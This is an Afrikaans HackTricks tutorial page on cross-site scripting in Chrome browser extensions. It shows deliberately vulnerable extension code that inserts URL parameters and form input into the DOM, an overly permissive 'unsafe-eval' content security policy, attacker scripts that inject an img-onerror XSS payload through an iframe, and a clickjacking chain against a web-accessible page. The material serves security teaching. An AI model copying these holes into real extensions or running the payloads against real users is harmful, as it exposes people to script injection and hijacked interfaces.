BrowExt - XSS Voorbeeld

Reading time: 5 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Cross-Site Scripting (XSS) deur Iframe

In hierdie opstelling word 'n inhoudskrip geïmplementeer om 'n Iframe te instantiëer, wat 'n URL met navraagparameters as die bron van die Iframe insluit:

javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})

'n Publiek toeganklike HTML-bladsy, message.html, is ontwerp om dinamies inhoud by die dokumentliggaam toe te voeg gebaseer op die parameters in die URL:

javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})

'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die content parameter van die Iframe se bron aanpas om 'n XSS-lading in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:

javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`

document.querySelector("iframe").src = maliciousURL
}, 1000)

'n Oormatig toelaatbare Inhoudsekuriteitsbeleid soos:

json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

laat die uitvoering van JavaScript toe, wat die stelsel kwesbaar maak vir XSS-aanvalle.

'n Alternatiewe benadering om die XSS te provoceer, behels die skep van 'n Iframe-element en die instelling van sy bron om die skadelike skrip as die content parameter in te sluit:

javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)

DOM-gebaseerde XSS + ClickJacking

Hierdie voorbeeld is geneem uit die oorspronklike pos skrywe.

Die kernprobleem ontstaan uit 'n DOM-gebaseerde Cross-site Scripting (XSS) kwesbaarheid geleë in /html/bookmarks.html. Die problematiese JavaScript, deel van bookmarks.js, word hieronder uiteengesit:

javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false

var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})

Hierdie snit haal die waarde uit die txtName invoerveld en gebruik string-konkatenasie om HTML te genereer, wat dan aan die DOM bygevoeg word met jQuery se .append() funksie.

Tipies sou die Chrome uitbreiding se Inhoudsekuriteitsbeleid (CSP) sulke kwesbaarhede voorkom. egter, as gevolg van CSP verslapping met ‘unsafe-eval’ en die gebruik van jQuery se DOM manipulasie metodes (wat globalEval() gebruik om skripte aan eval() oor te dra tydens DOM invoeging), is uitbuiting steeds moontlik.

Terwyl hierdie kwesbaarheid beduidend is, is die uitbuiting gewoonlik afhanklik van gebruikersinteraksie: die bladsy besoek, 'n XSS payload invoer, en die “Voeg by” knoppie aktiveer.

Om hierdie kwesbaarheid te verbeter, word 'n sekondêre clickjacking kwesbaarheid uitgebuit. Die Chrome uitbreiding se manifest toon 'n uitgebreide web_accessible_resources beleid:

json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Opmerklik is die /html/bookmarks.html bladsy geneig tot framing, en dus kwesbaar vir clickjacking. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daardeur dat slagoffers onbedoeld met die onderliggende uitbreiding interaksie het.

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks